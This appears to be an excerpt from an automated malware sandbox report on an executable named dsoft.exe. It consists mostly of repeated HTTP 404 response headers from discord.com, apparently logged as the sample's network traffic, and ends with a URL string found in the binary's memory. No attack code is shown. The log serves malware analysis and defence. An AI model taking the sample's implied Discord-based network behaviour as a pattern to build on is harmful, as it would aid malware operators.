__cfruid=a43fb804982cca3653051a4b7746cea35628f37c-1735498996; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=pAFnR_wOrfdgh_Jtk3mByUUGMw9MwwYE7abgSZutqmQ-1735498996270-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0c94d816423b-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:03:17 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735498998x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WgRfN9v%2FuUjAxm9L0HQcD%2Blzb7zOsbXndjLxB%2Fhj3loyqvQOVNL2Na8pHZFWckiNkVb9%2FFgO3JeTpbT3rCzjyoqtaKW2SoiVC1xXhOTBiGE9KIbigiTeueRcAiQa"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=5501b16e0554bd3ddaeaf0e69ea9ea9655b8f544-1735498997; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=Ym5BP7VPJHeeelRZw3UktFYy9mpDLPNrX7DoUgkdP.w-1735498997537-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0c9e28f8c440-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:03:17 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735498999x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LMctKu3Lr039fNs%2BuAYjc1Gq6JWmteDeY%2FyWEkEwUYTwsMUdG75dAZTul2FSs787wTSYth6OeAgHU9nA9LHFEmSqYtruyswhmgOa5MF8KJaL6TDFA8Gdjy6hRVMS"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=5501b16e0554bd3ddaeaf0e69ea9ea9655b8f544-1735498997; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=4MHz39sMJ.4aXIHBGoP67murEA.xb8b1BSp2oPtxKIQ-1735498997984-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0ca0ad3819a1-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:03:19 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735499000x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u25464NmzNX9dthTQ5%2Fj7bcLl5Pwfqz9b82W2FiD%2BSFGPdrngx0W3yejJYbI8Xfe0jKgKTww%2FXeYU96K2ZhQfOXGDMPeypsx7u52z7i0M2qPj%2F2oKJ%2FHRsZL0M5S"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=7b04209e90e1112546946eda2546c3b3e0bcc4f1-1735498999; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=ZUkxNojZS0AFLrqTAM.KtcwifO6pROCknC90EhmpcTA-1735498999351-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0ca96bfd726e-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:03:19 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735499001x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9gEmXUCuxuKdlXrTzLqLyzzzEDCPwFX5RireTZPQMXcSdy7UlcWBfiI8Y9%2B8x3MSDj4oBaiCf6VC30GQm%2FsQ3Kj8I%2B%2BwfdJLxwgwBD1Lyhyif%2FM0U9rvm5BYV4re"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=7b04209e90e1112546946eda2546c3b3e0bcc4f1-1735498999; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=q4pV7cQg53DbTlzgI_Vu9bZZGis6Gdc07u7ronpmt6M-1735498999935-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0cacba2b7c7b-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:03:21 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735499002x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zrCmVsNjNq5u%2BRAY%2BINUKOyQxr%2F1eaXOv1AnPeMbGP0dVxBm0RRTbpqyZVd7WNw2tgPa36J7wC7qbSPzyi9aHQv2%2BEeOJmY5J4GV3m%2FT%2BnB9OBzPAe5y1gFbNB6p"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=dc5d754406e571a16d9932dbc45a1ea4a58ad2b1-1735499001; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=.i7hEaNZyIF6pvFbSmMCrHzzpxjkERy4Coa8qu0FnhA-1735499001162-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0cb4bac6c481-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:03:21 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735499003x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4wF4MQQG4Bk4E6c5AvU%2FrKQ%2FcynOk10ROdneChTTmi3bYNVyhWB%2B%2Bdev7ZB3I3UQA%2BmI1Hek2n2R3Del29QWramD4vR%2BDo2QunJkuGRnUe%2FNhpQynrcItUU%2BsdrQ"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=dc5d754406e571a16d9932dbc45a1ea4a58ad2b1-1735499001; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=GJ5fRUxb0DtTOaLBLsR4jw7B1AahuX5457h3nVnD49w-1735499001743-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0cb7b8601a07-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:03:22 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735499004x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Eg8oRCk90hk3MeldB9dwqX%2BYhzIdxm%2BYmgG24Yo9sLXOpeZqrUu3iZYMYyHh6z1owEs7sgedqQawlFIVkkjwgpnPFRXpVrY77ulaJ1GLjWkGgAubV6bXeh4MRbs%2F"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=724caf6ede62f60297d90db326bffd5096f426b8-1735499002; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=YMbQa4_d8Gek9bDIIgFvXyOK8ACSSmB42A3R4_iwpVQ-1735499002908-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0cbfaa347c9a-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:03:23 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735499004x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nl99ekKSSYD4FXCLcN59GZUXCN23sIcLlDryIHOqCw6UGe34d35j%2FyPHgw2cQV0s0Rbw5YDTvXQAcsesV%2Fi1dyiRC3o86he5TnUxwVDR5qoy3M40G4MsCLP67vH6"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=284b933d887621711a194cd280ec620ca121e88b-1735499003; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=F33tnXaHX2hFMP2mybrZUDtlCZleMHP.9ngqApzWCOw-1735499003501-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0cc328f28cd6-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:03:24 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735499006x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GvHMN4TxqtyVmpJYyfzjWBaN7jZKrvX%2FD4GpmiO8eBTMNdrU5nQ4KH9ZxGwfk3tobpRzDsgnq7%2FLS8rBfxKgsMcLd1ez4Qcv%2B3LsntXEifUzyoYPWJiKQoj6LtD3"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=12b5fb317103fbae89dd23732629684773005f81-1735499004; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=uKm2yP_HxOffG8iH37Q_80Ecxzuha8N7ZeGbr2smQSA-1735499004706-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0ccaec8f4276-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:03:25 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735499006x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VQJpf5IJY%2BPcxi%2FQOeBOh4bN%2FDxQ6c6CyDeFMyLx6ARqwlE4tuGSKasn%2BE7%2FMq%2BT5vqb7GZeOuIkyZNeXWYqbrbKO%2BJvFfl5Vz4YgWqEtuGkQ1I5lOEk02lbOUFy"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=6a2c9dada8228cf579dc5df331829f1373d81cea-1735499005; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=5C17tETGyVyUvkDD7_AyZ8TUM4WEf9t2UqFGz0W52Eg-1735499005208-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0ccdba8972a7-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:03:26 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735499007x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T66WDSC4GcJm2m2RwNl5bKVD7h5ZZwYnov6mcXuNb6I3vDxalOf5ZHkCeZ%2FKbDg5MeztL7BO%2Bt3ldQF0r%2BHW8Tj8viXfF6bwoMjA8CKG%2B2Qn1Au7f15jApIlxwk3"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=ecac402da22b5c6a6363170c9e4c0f1b3713c18e-1735499006; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=P1RKXsc8G9MmCIifE8YLX2xzStJMGtrs9k7VsOyrQ7o-1735499006436-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0cd5ea45efa7-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:03:27 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735499008x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4ZXpSo2%2BaXFyNgLwc9qdUp5Q%2BWrqlig%2Bhi7m0lOXyf5oyDeQ1HV8XPof0Idt5bAHjMMO%2BHQ4o9OWqBvbC3w0H1jGNn2DYIeT2dKAuMuM43yRemUHTSnFZyK0UeLA"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=04d1b9d4755c454c31ecf0afc21bee5b41f3d7fa-1735499007; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=CkAU4wvuinY7VSQBuxAaFe2MX0IoKrLwE0HNsPZZ4Xg-1735499007418-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0cdbe8c1c407-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:03:29 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735499010x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iBh7Rq%2BAp0gzXV7sV%2F7ItugGkH17M3ThQXbu0PIi4SKCvY5UK%2BwEKAr8jUeQC05gS%2FUTdMzQL3HzYblbH5LivrgeGy5kgHdeOLcHsmy3cdAwzakX3wGg%2BjPHG4bA"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=5c4d586504d8d523343951f151e8ee259ba7b2ee-1735499009; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=LNfy8_qwbtt_hjXnn9nd_fIg2vMpZSDGyBTxEpDlOeI-1735499009222-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0ce72898440b-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:03:31 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735499012x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y3sxO8scir0uydDeJ7QyCIYUzzuwYt5zMlZAjlYMKTYTWfpakHNlHprVCqcj9LAMNB52TCpl4eeP6VYyWI2Lnvn1obZFVpV0sUwNWOOGPDuk8hKoXRDLMXLYrym6"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=60d593be25043467746a49639a50e2ddd2f9e886-1735499011; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=kRBOi1Ru0PZnWfTzRPU5lEJMjQG9HQbzYdLWckj.y_8-1735499011300-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0cf43d550c9e-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:03:33 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735499014x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Gbd04dLuhc6PGTV3kMdSyj%2F0vobgnVIJJNGymvbxF1sBsnU4O1I7E1zNdtiWmCZmmDvddQr%2FTAHNKB9QfmmYOF0%2BtrnIafD74WT8ggCNIZRzP3G6owUzTYi4cb9Y"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=3c11febff06a62eff471598f21fc0e996cac8f1c-1735499013; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=8KSsCdofRdkxrBpX8n7VmHyYizZzLRP.9Ow1vHS5CDs-1735499013139-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0cffbe87c413-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:03:35 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735499016x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sy9KVxMVD7qf0C6XMFZts06mmLM2zknFTZVHOKq8N1GaYTqVIx%2F%2BrywOe%2BtD4yB6RiLEeng2DubUJoFoljXulw%2FklZWLOGA%2Frz2PE3wxdcQ7FjAhCx%2FlBDy0rP5z"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=07963cc75aadd327a08d2c3a65b4be31823db941-1735499015; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=BNIT.lVubmO1uY4cD5Oknv1LqR93i6aLkg9gBlI0aQs-1735499015083-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0d0bc97e41ff-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:03:36 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735499018x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nVR1gLEYepWg%2FUpW56YFuugIEnOg3p8LVZlWAP2S6ryeJfJwSjdmFsiIOVePds7J68eBwY46Y1sUP0%2FuwA46NNfTYXbqHkIb9jUEK1Z%2BEFtS6F8GKjnE0EALLniO"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=939315ec5b08a56be06b01f5f17246f24c77a27b-1735499016; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=NelU66JCyPIKGtGD.s8Q9iL4tLInET2dPU0HKcg63ss-1735499016870-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0d170f2b4265-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:03:38 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735499020x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mgWpswBdgMx2b0SoEuANWkk7odwTi%2FVKi%2B%2BOvIXjB7H8FLcQpm2G4IYiIXgjnrtm%2F1%2BnAYHw7KcUp0JLjCySpEkbRTmit2tsW6EAjb8ZgQNCjV27seFixYBvxaHL"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=9b8c7d43b940635c42cdf38c4db9dc178568cfb8-1735499018; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=Id6kczLkB36zPT2qqtVzA5w7gyjwyENYmvaXkolcEQg-1735499018795-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0d230f8f7ce8-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:03:40 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735499021x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K0StTtU%2F3%2Fvj%2BW%2FOZfKGEL0W3sWyGFdKRcK6FFfhnVGzJHez5gEbX5z9FXx6sCgnPOHk0Uq6Hq1As2xe%2BU5MEzIF7T0BhwUlxqISEXHim6rSXhG%2BUyi92cpAwNkc"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=3260a76bdbdeb514be93d6de4175fb4e0e46db02-1735499020; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=0NLw9C8uq4N18LTDgS2b9zPBeG_ptptkMvO1MQUJgCI-1735499020598-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0d2e3bfd8c4b-EWR
            Source: dsoft.exe, 00000001.00000002.2570912516.0000029489FA0000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000002.2716548036.000001FA5D5E0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://.../back.jpeg
